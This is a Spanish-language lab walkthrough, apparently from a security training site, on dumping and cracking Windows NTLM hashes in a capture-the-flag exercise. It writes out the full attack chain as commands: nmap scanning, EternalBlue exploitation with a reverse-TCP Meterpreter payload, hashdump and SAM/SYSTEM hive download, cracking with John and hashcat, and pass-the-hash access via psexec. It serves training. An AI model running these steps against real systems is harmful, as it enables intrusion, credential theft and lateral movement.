GhostAcademy logo GhostAcademy

Windows: NTLM Hash Cracking

Escalada de Privilegios y Dumping Credential Dumping John the Ripper · Hashcat · SAM

🔑 NTLM: el hash de contraseñas de Windows

Windows no almacena las contraseñas en texto claro. En su lugar, guarda un hash NTLM (NT LAN Manager) en la base de datos SAM (Security Account Manager) y en el archivo NTDS.dit en Active Directory.

El formato de un hash NTLM en la base SAM es:
usuario:RID:LM_hash:NTLM_hash:::
El hash LM suele ser aad3b435b51404eeaad3b435b51404ee (hash vacío, LM desactivado). El hash NTLM es el que se crackea.

Pass-the-Hash: los hashes NTLM pueden usarse directamente para autenticarse en servicios Windows sin necesidad de crackearlos, usando herramientas como psexec, crackmapexec o impacket.

Estructura del hash NTLM

CampoEjemploDescripción
UsuarioAdministratorNombre de cuenta
RID500Identificador relativo (500 = Administrator)
LM Hashaad3b435...04eeHash LM (vacío = LM desactivado)
NTLM Hash31d6cfe0...89c0Hash de la contraseña — este se crackea

🔧 Comandos del laboratorio

1. Identificar objetivo y escanear

bash
cat /root/Desktop/target
nmap <IP>
nmap -sV -p 445 <IP>

2. Explotar EternalBlue para obtener Meterpreter

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
# Sesión Meterpreter con SYSTEM

3. Volcar hashes NTLM con hashdump

meterpreter
hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# student:1000:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::

4. Descargar la base SAM y el hive SYSTEM

meterpreter
download C:\\Windows\\System32\\config\\SAM
download C:\\Windows\\System32\\config\\SYSTEM

5. Crackear hashes con John the Ripper

Guarda los hashes en un archivo de texto y usa John con el diccionario rockyou.txt.

bash — guardar hashes en archivo
echo "student:1000:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::" > hashes.txt
bash — crackear con John
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=NT --show hashes.txt
# student:password
bash — alternativa con hashcat
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 1000 = modo NTLM

6. Usar las credenciales obtenidas

bash — acceso RDP
xfreerdp /u:student /p:password /v:<IP>
bash — Pass-the-Hash con psexec (sin crackear)
psexec.py Administrator@<IP> -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

7. Obtener la flag

meterpreter / cmd
cd C:\\Users\\Administrator\\Desktop
type flag.txt

🗼 Flujo del ataque

1
ReconocimientoNmap → confirmar SMB activo y versión.
2
ExplotaciónEternalBlue → Meterpreter SYSTEM.
3
Volcado de hasheshashdump → hashes NTLM de todos los usuarios.
4
Crackeo offlineJohn the Ripper o Hashcat con rockyou.txt.
5
ReutilizaciónRDP, PSExec o Pass-the-Hash con las credenciales obtenidas.
6
FlagLeer el archivo de la flag como Administrator.

🎯 ¿Qué buscar? — Indicadores de éxito